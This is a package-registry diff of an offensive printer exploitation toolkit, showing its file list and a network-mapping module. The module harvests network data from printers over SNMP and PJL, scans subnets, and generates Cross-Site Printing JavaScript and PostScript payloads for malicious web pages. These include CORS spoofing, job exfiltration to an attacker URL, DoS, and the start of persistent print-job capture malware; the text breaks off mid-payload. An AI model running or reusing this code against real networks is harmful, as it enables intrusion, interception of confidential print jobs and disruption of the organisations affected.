printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,1004 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — Network Mapper (Printer-Perspective)
5
+ =====================================================
6
+ Maps everything reachable FROM the printer's network position.
7
+
8
+ A network printer sits inside the LAN — often on a trusted segment, behind
9
+ firewalls that only block inbound connections from outside. This module uses
10
+ the printer itself as a recon platform to map the internal network.
11
+
12
+ Techniques used:
13
+ A. SNMP-based network info — routing table, ARP cache, interface list,
14
+ connected subnets, DNS servers
15
+ B. SSRF-based host/port scan — IPP print-by-reference timing analysis
16
+ C. PJL network variables — IP config, WINS, gateway, DNS, DHCP lease
17
+ D. PS/IPP route query — PostScript systemdict network info
18
+ E. Web interface network config page scraping
19
+ F. WSD device listing — other WSD devices on the same segment
20
+ G. mDNS/Bonjour neighbors — devices announcing on multicast
21
+ H. CORS spoofing payload gen — JavaScript XSP payload for web attacker
22
+ I. Windows Spooler recon — SMB-based print server discovery
23
+
24
+ Attack surface extensions from printer position:
25
+ - Reach internal web apps (HTTP to private IPs)
26
+ - Probe internal SMB shares (via SMB module)
27
+ - Access NAS/storage devices on the same subnet
28
+ - Enumerate other printers on the network
29
+ - Access management interfaces (router, switch, firewall, cameras)
30
+ - Pivot to cloud print services (Google Cloud Print, AirPrint relay)
31
+ """
32
+
33
+ # Author : Andre Henrique (@mrhenrike)
34
+ # GitHub : https://github.com/mrhenrike
35
+ # LinkedIn : https://linkedin.com/in/mrhenrike
36
+ # X/Twitter : https://x.com/mrhenrike
37
+
38
+ from __future__ import annotations
39
+
40
+ import ipaddress
41
+ import logging
42
+ import re
43
+ import socket
44
+ import struct
45
+ import time
46
+ from concurrent.futures import ThreadPoolExecutor, as_completed
47
+ from dataclasses import dataclass, field
48
+ from typing import Dict, List, Optional, Set, Tuple
49
+
50
+ import requests
51
+ import urllib3
52
+
53
+ urllib3.disable_warnings()
54
+
55
+ _log = logging.getLogger(__name__)
56
+
57
+ # ── Data structures ───────────────────────────────────────────────────────────
58
+
59
+ @dataclass
60
+ class NetworkHost:
61
+ """A host discovered from the printer's network perspective."""
62
+ ip: str
63
+ hostname: str = ''
64
+ mac: str = ''
65
+ open_ports: List[int] = field(default_factory=list)
66
+ services: Dict[str, str] = field(default_factory=dict)
67
+ device_type: str = '' # printer, router, server, camera, etc.
68
+ os_hint: str = ''
69
+ via: str = '' # discovery method
70
+
71
+ def __str__(self) -> str:
72
+ svc = ', '.join(f"{p}({v})" for p, v in self.services.items())
73
+ return f"{self.ip} [{self.device_type}] {self.hostname} ports={self.open_ports} {svc}"
74
+
75
+
76
+ @dataclass
77
+ class NetworkMap:
78
+ """Complete network map built from the printer's vantage point."""
79
+ printer_ip: str
80
+ printer_iface: str = '' # interface/subnet the printer is on
81
+ gateway: str = ''
82
+ dns_servers: List[str] = field(default_factory=list)
83
+ ntp_servers: List[str] = field(default_factory=list)
84
+ netmask: str = ''
85
+ hosts: List[NetworkHost] = field(default_factory=list)
86
+ subnets: List[str] = field(default_factory=list)
87
+ other_printers: List[str] = field(default_factory=list)
88
+ attack_paths: List[str] = field(default_factory=list)
89
+
90
+ def summary(self) -> str:
91
+ return (f"Printer: {self.printer_ip} | Gateway: {self.gateway} | "
92
+ f"DNS: {self.dns_servers} | Hosts found: {len(self.hosts)} | "
93
+ f"Other printers: {len(self.other_printers)}")
94
+
95
+
96
+ # ── Known service ports ───────────────────────────────────────────────────────
97
+
98
+ COMMON_PORTS = {
99
+ 21: 'FTP',
100
+ 22: 'SSH',
101
+ 23: 'Telnet',
102
+ 25: 'SMTP',
103
+ 53: 'DNS',
104
+ 80: 'HTTP',
105
+ 110: 'POP3',
106
+ 135: 'MSRPC',
107
+ 139: 'NetBIOS',
108
+ 143: 'IMAP',
109
+ 161: 'SNMP',
110
+ 389: 'LDAP',
111
+ 443: 'HTTPS',
112
+ 445: 'SMB',
113
+ 514: 'Syslog',
114
+ 515: 'LPD',
115
+ 548: 'AFP',
116
+ 554: 'RTSP',
117
+ 631: 'IPP',
118
+ 636: 'LDAPS',
119
+ 873: 'rsync',
120
+ 902: 'VMware',
121
+ 1433: 'MSSQL',
122
+ 1723: 'PPTP',
123
+ 2049: 'NFS',
124
+ 3306: 'MySQL',
125
+ 3389: 'RDP',
126
+ 3702: 'WSD',
127
+ 4848: 'GlassFish',
128
+ 5000: 'UPnP',
129
+ 5357: 'WSD-HTTP',
130
+ 5432: 'PostgreSQL',
131
+ 5900: 'VNC',
132
+ 5985: 'WinRM',
133
+ 6379: 'Redis',
134
+ 7070: 'WebLogic',
135
+ 8080: 'HTTP-Alt',
136
+ 8443: 'HTTPS-Alt',
137
+ 8888: 'HTTP-Alt2',
138
+ 9100: 'RAW/PJL',
139
+ 27017:'MongoDB',
140
+ 49152:'UPnP-Dynamic',
141
+ }
142
+
143
+ PRINTER_SIGNATURES = {
144
+ 9100: 'RAW/PJL printer',
145
+ 631: 'IPP printer',
146
+ 515: 'LPD printer',
147
+ 443: 'Possible printer webUI',
148
+ 80: 'Possible printer webUI',
149
+ }
150
+
151
+ DEVICE_TYPE_HINTS = {
152
+ 'router': [80, 443, 23, 22],
153
+ 'switch': [80, 443, 23, 22, 161],
154
+ 'printer': [9100, 631, 515, 80],
155
+ 'camera': [554, 80, 443, 8080],
156
+ 'nas': [445, 139, 2049, 548, 80],
157
+ 'server': [22, 3389, 5985, 135],
158
+ 'database': [3306, 5432, 1433, 27017, 6379],
159
+ }
160
+
161
+
162
+ # ── A. SNMP network information ────────────────────────────────────────────────
163
+
164
+ def _snmp_get(host: str, oid: str, community: str = 'public',
165
+ timeout: float = 3) -> str:
166
+ """Get a single SNMP OID value."""
167
+ try:
168
+ from pysnmp.hlapi import (
169
+ getCmd, CommunityData, UdpTransportTarget,
170
+ ContextData, ObjectType, ObjectIdentity, SnmpEngine,
171
+ )
172
+ import warnings
173
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
174
+ for err_ind, err_stat, _, binds in getCmd(
175
+ SnmpEngine(),
176
+ CommunityData(community, mpModel=1),
177
+ UdpTransportTarget((host, 161), timeout=timeout, retries=0),
178
+ ContextData(),
179
+ ObjectType(ObjectIdentity(oid)),
180
+ ):
181
+ if not err_ind and not err_stat and binds:
182
+ return str(binds[0][1])
183
+ except Exception:
184
+ pass
185
+ return ''
186
+
187
+
188
+ def _snmp_walk(host: str, base_oid: str, community: str = 'public',
189
+ timeout: float = 3, max_rows: int = 200) -> Dict[str, str]:
190
+ """Walk SNMP subtree and return {oid: value}."""
191
+ result = {}
192
+ try:
193
+ from pysnmp.hlapi import (
194
+ nextCmd, CommunityData, UdpTransportTarget,
195
+ ContextData, ObjectType, ObjectIdentity, SnmpEngine,
196
+ )
197
+ import warnings
198
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
199
+ for err_ind, err_stat, _, binds in nextCmd(
200
+ SnmpEngine(),
201
+ CommunityData(community, mpModel=1),
202
+ UdpTransportTarget((host, 161), timeout=timeout, retries=0),
203
+ ContextData(),
204
+ ObjectType(ObjectIdentity(base_oid)),
205
+ lexicographicMode=False,
206
+ maxRows=max_rows,
207
+ ):
208
+ if err_ind or err_stat:
209
+ break
210
+ for oid, val in binds:
211
+ result[str(oid)] = str(val)
212
+ except Exception:
213
+ pass
214
+ return result
215
+
216
+
217
+ def snmp_network_info(host: str, timeout: float = 5) -> Dict:
218
+ """
219
+ Extract all network configuration from printer via SNMP.
220
+
221
+ Returns dict with: gateway, netmask, dns_servers, ntp, interfaces,
222
+ arp_table, routing_table, hostname, mac addresses.
223
+ """
224
+ info = {
225
+ 'gateway': '',
226
+ 'netmask': '',
227
+ 'dns_servers': [],
228
+ 'ntp_servers': [],
229
+ 'hostname': '',
230
+ 'interfaces': [],
231
+ 'arp_table': [],
232
+ 'routing_table': [],
233
+ 'wins': '',
234
+ 'domain': '',
235
+ }
236
+
237
+ # Gateway (default route via ipRouteTable)
238
+ routes = _snmp_walk(host, '1.3.6.1.2.1.4.21', timeout=timeout)
239
+ for oid, val in routes.items():
240
+ # ipRouteNextHop
241
+ if '1.3.6.1.2.1.4.21.1.7.' in oid and val not in ('0.0.0.0', ''):
242
+ info['gateway'] = val
243
+
244
+ # Interfaces
245
+ ifaces = _snmp_walk(host, '1.3.6.1.2.1.2.2.1', timeout=timeout)
246
+ seen_ifaces: Set[str] = set()
247
+ for oid, val in ifaces.items():
248
+ if '1.3.6.1.2.1.2.2.1.6.' in oid and len(val) > 2: # ifPhysAddress (MAC)
249
+ mac = ':'.join(val[i:i+2] for i in range(0, len(val.replace(' ', '')), 2)
250
+ if val.replace(' ', ''))[:17]
251
+ if mac not in seen_ifaces:
252
+ seen_ifaces.add(mac)
253
+ info['interfaces'].append({'mac': mac})
254
+ elif '1.3.6.1.2.1.2.2.1.2.' in oid: # ifDescr
255
+ info['interfaces'].append({'name': val})
256
+
257
+ # ARP table (ipNetToPhysicalTable or ipNetToMediaTable)
258
+ arp = _snmp_walk(host, '1.3.6.1.2.1.4.22.1', timeout=timeout)
259
+ for oid, val in arp.items():
260
+ if '1.3.6.1.2.1.4.22.1.3.' in oid: # ipNetToMediaNetAddress
261
+ info['arp_table'].append(val)
262
+
263
+ # IP addresses
264
+ ip_table = _snmp_walk(host, '1.3.6.1.2.1.4.20.1', timeout=timeout)
265
+ for oid, val in ip_table.items():
266
+ if '1.3.6.1.2.1.4.20.1.3.' in oid: # ipAdEntNetMask
267
+ info['netmask'] = val
268
+ break
269
+
270
+ # Hostname
271
+ info['hostname'] = _snmp_get(host, '1.3.6.1.2.1.1.5.0', timeout=timeout)
272
+
273
+ # DNS servers (vendor-specific MIBs)
274
+ # HP Jetdirect DNS
275
+ for oid in ['1.3.6.1.4.1.11.2.4.3.7.9.0', # HP primary DNS
276
+ '1.3.6.1.4.1.11.2.4.3.7.10.0']: # HP secondary DNS
277
+ val = _snmp_get(host, oid, timeout=timeout)
278
+ if val and val not in ('0.0.0.0', ''):
279
+ info['dns_servers'].append(val)
280
+
281
+ # Generic DNS (ipDNS, rfc1213-mib2)
282
+ for oid in ['1.3.6.1.2.1.4.20.1.1.0',
283
+ '1.3.6.1.4.1.2699.1.1.1.1.1.1.3.1.1.0']:
284
+ val = _snmp_get(host, oid, timeout=timeout)
285
+ if val and re.match(r'\d+\.\d+\.\d+\.\d+', val):
286
+ if val not in info['dns_servers']:
287
+ info['dns_servers'].append(val)
288
+
289
+ return info
290
+
291
+
292
+ # ── B. PJL network variables ──────────────────────────────────────────────────
293
+
294
+ PJL_NETWORK_VARS = [
295
+ 'IP ADDRESS', 'SUBNET MASK', 'DEFAULT GATEWAY', 'WINS SERVER',
296
+ 'PRIMARY DNS', 'SECONDARY DNS', 'DHCP', 'HOSTNAME', 'DOMAIN NAME',
297
+ 'MAC ADDRESS', 'IPV6 ADDRESS', 'NTP SERVER', 'SYSLOG SERVER',
298
+ 'SMTP SERVER', 'PROXY SERVER', 'PROXY PORT',
299
+ ]
300
+
301
+
302
+ def pjl_network_info(host: str, timeout: float = 10) -> Dict[str, str]:
303
+ """
304
+ Extract network configuration from printer via PJL network variables.
305
+
306
+ Returns dict of {variable: value}.
307
+ """
308
+ info = {}
309
+ UEL = b'\x1b%-12345X'
310
+
311
+ # Build query for all network variables
312
+ cmds = [UEL + b'@PJL\r\n']
313
+ for var in PJL_NETWORK_VARS:
314
+ cmds.append(f'@PJL INFO VARIABLES\r\n'.encode())
315
+ cmds.append(f'@PJL ECHO "{var}"\r\n'.encode())
316
+
317
+ # Also query specific well-known PJL variables
318
+ cmds.append(b'@PJL INFOINIT\r\n')
319
+ cmds.append(b'@PJL INFO NETINFO\r\n')
320
+ cmds.append(UEL)
321
+
322
+ from utils.ports import PortConfig as _PC
323
+ try:
324
+ s = socket.create_connection((host, _PC.resolve('raw')), timeout=timeout)
325
+ s.settimeout(timeout)
326
+ for cmd in cmds:
327
+ s.sendall(cmd)
328
+ time.sleep(1.5)
329
+ data = b''
330
+ while True:
331
+ try:
332
+ chunk = s.recv(4096)
333
+ if not chunk:
334
+ break
335
+ data += chunk
336
+ if len(data) > 65536:
337
+ break
338
+ except (socket.timeout, BlockingIOError):
339
+ break
340
+ s.close()
341
+
342
+ text = data.decode('latin-1', errors='replace')
343
+ # Parse key=value pairs
344
+ for line in text.splitlines():
345
+ for var in PJL_NETWORK_VARS:
346
+ if var in line.upper():
347
+ parts = line.split('=', 1)
348
+ if len(parts) == 2:
349
+ info[var.lower().replace(' ', '_')] = parts[1].strip()[:60]
350
+ except Exception as exc:
351
+ _log.debug("PJL network info: %s", exc)
352
+
353
+ return info
354
+
355
+
356
+ # ── C. Web interface network config scraping ──────────────────────────────────
357
+
358
+ WEB_NETWORK_PAGES = [
359
+ '/hp/device/info', # HP
360
+ '/PRESENTATION/HTML/TOP/PRTINFO.HTML', # EPSON
361
+ '/info', '/status', '/config', '/network',
362
+ '/cgi-bin/config.cgi', '/cgi-bin/network.cgi',
363
+ '/admin/network', '/admin/netconfig',
364
+ '/webArch/getInfo.cgi', # Ricoh
365
+ '/DevMgmt/NetworkConfig.xml', # HP XML
366
+ '/xml/dev_status.xml',
367
+ '/sys/cfg/network.htm', # Kyocera
368
+ '/general/status.xml',
369
+ ]
370
+
371
+ IP_PATTERN = re.compile(
372
+ r'\b(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}'
373
+ r'(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\b'
374
+ )
375
+
376
+
377
+ def web_network_info(host: str, timeout: float = 8) -> Dict:
378
+ """
379
+ Scrape network configuration from printer web interface.
380
+
381
+ Extracts IPs, MACs, hostnames, and network settings from web pages.
382
+ Returns dict with extracted network details.
383
+ """
384
+ info = {
385
+ 'ips_found': set(),
386
+ 'macs_found': set(),
387
+ 'gateway_hint': '',
388
+ 'dns_hint': '',
389
+ 'raw_pages': [],
390
+ }
391
+
392
+ for scheme in ('http', 'https'):
393
+ port = 443 if scheme == 'https' else 80
394
+ for path in WEB_NETWORK_PAGES:
395
+ try:
396
+ r = requests.get(
397
+ f'{scheme}://{host}:{port}{path}',
398
+ timeout=timeout, verify=False,
399
+ )
400
+ if r.status_code != 200:
401
+ continue
402
+
403
+ text = r.text
404
+ info['raw_pages'].append({'path': path, 'content': text[:500]})
405
+
406
+ # Extract all IPs
407
+ for ip in IP_PATTERN.findall(text):
408
+ if not ip.startswith('127.') and ip != '0.0.0.0':
409
+ info['ips_found'].add(ip)
410
+
411
+ # Extract MACs
412
+ for mac in re.findall(
413
+ r'([0-9A-Fa-f]{2}[:\-]){5}[0-9A-Fa-f]{2}', text
414
+ ):
415
+ info['macs_found'].add(mac[0]) # regex group
416
+
417
+ # Gateway patterns
418
+ for pat in [r'[Gg]ateway[:\s]+(' + IP_PATTERN.pattern + ')',
419
+ r'[Gg]W[:\s]+(' + IP_PATTERN.pattern + ')']:
420
+ m = re.search(pat, text)
421
+ if m:
422
+ info['gateway_hint'] = m.group(1)
423
+
424
+ # DNS patterns
425
+ for pat in [r'DNS[:\s]+(' + IP_PATTERN.pattern + ')',
426
+ r'[Nn]ame[Ss]erver[:\s]+(' + IP_PATTERN.pattern + ')']:
427
+ m = re.search(pat, text)
428
+ if m:
429
+ info['dns_hint'] = m.group(1)
430
+
431
+ except Exception:
432
+ pass
433
+
434
+ info['ips_found'] = list(info['ips_found'])
435
+ info['macs_found'] = list(info['macs_found'])
436
+ return info
437
+
438
+
439
+ # ── D. Host discovery and service enumeration ─────────────────────────────────
440
+
441
+ def _tcp_probe(ip: str, port: int, timeout: float) -> bool:
442
+ """Return True if TCP port is open on ip."""
443
+ try:
444
+ s = socket.create_connection((ip, port), timeout=timeout)
445
+ s.close()
446
+ return True
447
+ except OSError:
448
+ return False
449
+
450
+
451
+ def _banner_grab(ip: str, port: int, timeout: float = 2) -> str:
452
+ """Grab a basic TCP banner."""
453
+ try:
454
+ s = socket.create_connection((ip, port), timeout=timeout)
455
+ s.settimeout(timeout)
456
+ # Send HTTP probe for web ports
457
+ if port in (80, 443, 8080, 8443):
458
+ try:
459
+ s.sendall(b'HEAD / HTTP/1.0\r\nHost: ' + ip.encode() + b'\r\n\r\n')
460
+ except Exception:
461
+ pass
462
+ try:
463
+ banner = s.recv(256).decode('latin-1', errors='replace').strip()
464
+ except Exception:
465
+ banner = ''
466
+ s.close()
467
+ return banner[:100]
468
+ except Exception:
469
+ return ''
470
+
471
+
472
+ def _guess_device_type(open_ports: List[int]) -> str:
473
+ """Guess device type from open ports."""
474
+ port_set = set(open_ports)
475
+ if port_set & {9100, 631, 515}:
476
+ return 'printer'
477
+ if port_set & {554, 8554}:
478
+ return 'camera/dvr'
479
+ if port_set & {445, 2049, 548}:
480
+ return 'nas/fileserver'
481
+ if port_set & {3306, 5432, 1433, 27017}:
482
+ return 'database'
483
+ if port_set & {22, 3389, 5985}:
484
+ return 'server'
485
+ if len(port_set & {80, 443, 23}) >= 2:
486
+ return 'router/switch'
487
+ return 'unknown'
488
+
489
+
490
+ def scan_host(
491
+ ip: str,
492
+ ports: List[int] = None,
493
+ timeout: float = 1.5,
494
+ ) -> Optional[NetworkHost]:
495
+ """
496
+ Probe a single host for open ports and return a NetworkHost or None.
497
+ """
498
+ if ports is None:
499
+ ports = sorted(COMMON_PORTS.keys())
500
+
501
+ open_ports = []
502
+ services = {}
503
+
504
+ for port in ports:
505
+ if _tcp_probe(ip, port, timeout):
506
+ open_ports.append(port)
507
+ svc_name = COMMON_PORTS.get(port, f'port-{port}')
508
+ services[port] = svc_name
509
+
510
+ if not open_ports:
511
+ return None
512
+
513
+ # Grab banners for key ports
514
+ host = NetworkHost(ip=ip, open_ports=open_ports, services=services)
515
+ host.device_type = _guess_device_type(open_ports)
516
+
517
+ # Reverse DNS
518
+ try:
519
+ host.hostname = socket.gethostbyaddr(ip)[0]
520
+ except Exception:
521
+ pass
522
+
523
+ return host
524
+
525
+
526
+ def discover_network(
527
+ printer_ip: str,
528
+ subnet: str = None,
529
+ ports: List[int] = None,
530
+ timeout: float = 0.8,
531
+ workers: int = 50,
532
+ verbose: bool = True,
533
+ ) -> List[NetworkHost]:
534
+ """
535
+ Scan the printer's subnet for live hosts and open services.
536
+
537
+ This runs directly from the scanner host (not via SSRF) to map
538
+ what the printer can reach from its network position.
539
+
540
+ Args:
541
+ subnet: CIDR (e.g. '192.168.1.0/24'). Auto-derived from printer_ip if None.
542
+ ports: Ports to probe per host. Uses a focused set if None.
543
+ workers: Parallel threads for scanning (default 50 for speed).
544
+ timeout: TCP connect timeout in seconds (default 0.8s — fast LAN scan).
545
+ """
546
+ if subnet is None:
547
+ parts = printer_ip.rsplit('.', 1)
548
+ subnet = parts[0] + '.0/24'
549
+
550
+ if ports is None:
551
+ # Focused set covering the most impactful services — fast scan
552
+ ports = [22, 23, 80, 135, 139, 443, 445, 515, 548, 554,
553
+ 631, 3389, 5900, 5985, 8080, 8443, 9100, 27017]
554
+
555
+ try:
556
+ network = ipaddress.ip_network(subnet, strict=False)
557
+ except ValueError:
558
+ _log.error("Invalid subnet: %s", subnet)
559
+ return []
560
+
561
+ hosts_found = []
562
+ all_ips = [str(ip) for ip in network.hosts() if str(ip) != printer_ip]
563
+
564
+ if verbose:
565
+ print(f" [MAP] Scanning {len(all_ips)} hosts in {subnet} "
566
+ f"({len(ports)} ports, {workers} threads, {timeout}s timeout) ...")
567
+
568
+ with ThreadPoolExecutor(max_workers=workers) as ex:
569
+ futures = {ex.submit(scan_host, ip, ports, timeout): ip for ip in all_ips}
570
+ for f in as_completed(futures):
571
+ host = f.result()
572
+ if host:
573
+ hosts_found.append(host)
574
+ if verbose:
575
+ print(f" [MAP] \033[1;32m{host.ip:18}\033[0m "
576
+ f"[{host.device_type:<12}] "
577
+ f"ports={host.open_ports} "
578
+ f"{host.hostname[:30]}")
579
+
580
+ return sorted(hosts_found, key=lambda h: ipaddress.ip_address(h.ip))
581
+
582
+
583
+ # ── E. WSD neighbor discovery ─────────────────────────────────────────────────
584
+
585
+ def wsd_discover(host: str, timeout: float = 5) -> List[Dict]:
586
+ """
587
+ Send WSD Probe (UDP multicast or unicast) to discover WSD-enabled devices.
588
+
589
+ WSD (Web Services for Devices) uses UDP multicast on 239.255.255.250:3702.
590
+ Returns list of device dicts found.
591
+ """
592
+ import uuid as _uuid
593
+
594
+ devices = []
595
+ probe = f"""<?xml version="1.0" encoding="UTF-8"?>
596
+ <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
597
+ xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
598
+ xmlns:d="http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01">
599
+ <s:Header>
600
+ <a:Action>http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01/Probe</a:Action>
601
+ <a:MessageID>urn:uuid:{_uuid.uuid4()}</a:MessageID>
602
+ <a:To>urn:docs-oasis-open-org:ws-dd:ns:discovery:2009:01</a:To>
603
+ </s:Header>
604
+ <s:Body>
605
+ <d:Probe>
606
+ <d:Types>wsdp:Device</d:Types>
607
+ </d:Probe>
608
+ </s:Body>
609
+ </s:Envelope>"""
610
+
611
+ # Unicast WSD probe to discovered hosts
612
+ parts = host.rsplit('.', 1)
613
+ subnet_base = parts[0] if len(parts) == 2 else host
614
+
615
+ for i in range(1, 20):
616
+ ip = f"{subnet_base}.{i}"
617
+ try:
618
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
619
+ sock.settimeout(timeout / 10)
620
+ sock.sendto(probe.encode(), (ip, 3702))
621
+ try:
622
+ data, addr = sock.recvfrom(4096)
623
+ text = data.decode('utf-8', errors='replace')
624
+ device = {'ip': addr[0]}
625
+ for tag in ['wsdp:Name', 'd:Types', 'wsdp:Manufacturer']:
626
+ m = re.search(f'<{tag}>(.*?)</{tag}>', text, re.S)
627
+ if m:
628
+ device[tag] = m.group(1).strip()[:60]
629
+ devices.append(device)
630
+ except (socket.timeout, OSError):
631
+ pass
632
+ sock.close()
633
+ except Exception:
634
+ pass
635
+
636
+ return devices
637
+
638
+
639
+ # ── F. Cross-Site Printing (XSP) payload generator ────────────────────────────
640
+
641
+ def generate_xsp_payload(
642
+ printer_ip: str,
643
+ printer_port: int = 0,
644
+ attack_type: str = 'info',
645
+ callback_url: str = '',
646
+ exfil_url: str = '',
647
+ ) -> Dict[str, str]:
648
+ """
649
+ Generate Cross-Site Printing (XSP) + CORS spoofing payloads.
650
+
651
+ These JavaScript snippets can be embedded in a malicious web page.
652
+ When a victim visits the page, their browser sends PostScript/PJL
653
+ to internal printer port 9100 via XMLHttpRequest.
654
+
655
+ Attack types:
656
+ 'info' — retrieve printer model via CORS spoofing
657
+ 'capture' — inject print job capture PostScript
658
+ 'dos' — inject infinite loop DoS
659
+ 'exfil' — retrieve captured jobs and send to attacker URL
660
+
661
+ Args:
662
+ printer_ip: Target printer IP (discovered via WebRTC or subnet scan).
663
+ callback_url: Attacker URL to receive exfiltrated data.
664
+ exfil_url: URL to send captured job data to.
665
+
666
+ Returns:
667
+ dict with 'html', 'javascript', 'postscript', 'pjl' payloads.
668
+ """
669
+ from utils.ports import PortConfig as _PC
670
+ if not printer_port:
671
+ printer_port = _PC.resolve('raw')
672
+ UEL = r'\x1b%-12345X'
673
+
674
+ # PostScript for CORS spoofing — printer acts as HTTP server
675
+ cors_ps = (
676
+ f"{UEL}\r\n"
677
+ f"%!\r\n"
678
+ f"(HTTP/1.0 200 OK\\n) print\r\n"
679
+ f"(Server: PostScript-HTTPD\\n) print\r\n"
680
+ f"(Access-Control-Allow-Origin: *\\n) print\r\n"
681
+ f"(Connection: close\\n) print\r\n"
682
+ f"(Content-Type: text/plain\\n) print\r\n"
683
+ f"(Content-Length: ) print\r\n"
684
+ f"product dup length string cvs print\r\n"
685
+ f"(\\n\\n) print\r\n"
686
+ f"product print\r\n"
687
+ f"(\\nFirmware: ) print\r\n"
688
+ f"version print\r\n"
689
+ f"(\\nRevision: ) print\r\n"
690
+ f"revision 16 string cvs print\r\n"
691
+ f"(\\n) print flush\r\n"
692
+ f"{UEL}\r\n"
693
+ )
694
+
695
+ # PostScript capture malware
696
+ capture_ps = (
697
+ f"{UEL}\r\n"
698
+ f"%!\r\n"
699
+ f"serverdict begin 0 exitserver\r\n"
700
+ f"/permanent {{/currentfile {{serverdict begin 0 exitserver}} def}} def\r\n"
701
+ f"permanent /filter {{\r\n"
702
+ f" /rndname (job_) rand 16 string cvs strcat (.ps) strcat def\r\n"
703
+ f" false echo\r\n"
704
+ f" /newjob true def\r\n"
705
+ f" currentdict /currentfile undef\r\n"
706
+ f" /max 40000 def\r\n"
707
+ f" /slots max array def\r\n"
708
+ f" /counter 2 dict def\r\n"
709
+ f" counter (slot) 0 put\r\n"
710
+ f" counter (line) 0 put\r\n"
711
+ f" (capturedict) where {{pop}}\r\n"
712
+ f" {{/capturedict max dict def}} ifelse\r\n"
713
+ f" capturedict rndname slots put\r\n"
714
+ f" /capture {{\r\n"
715
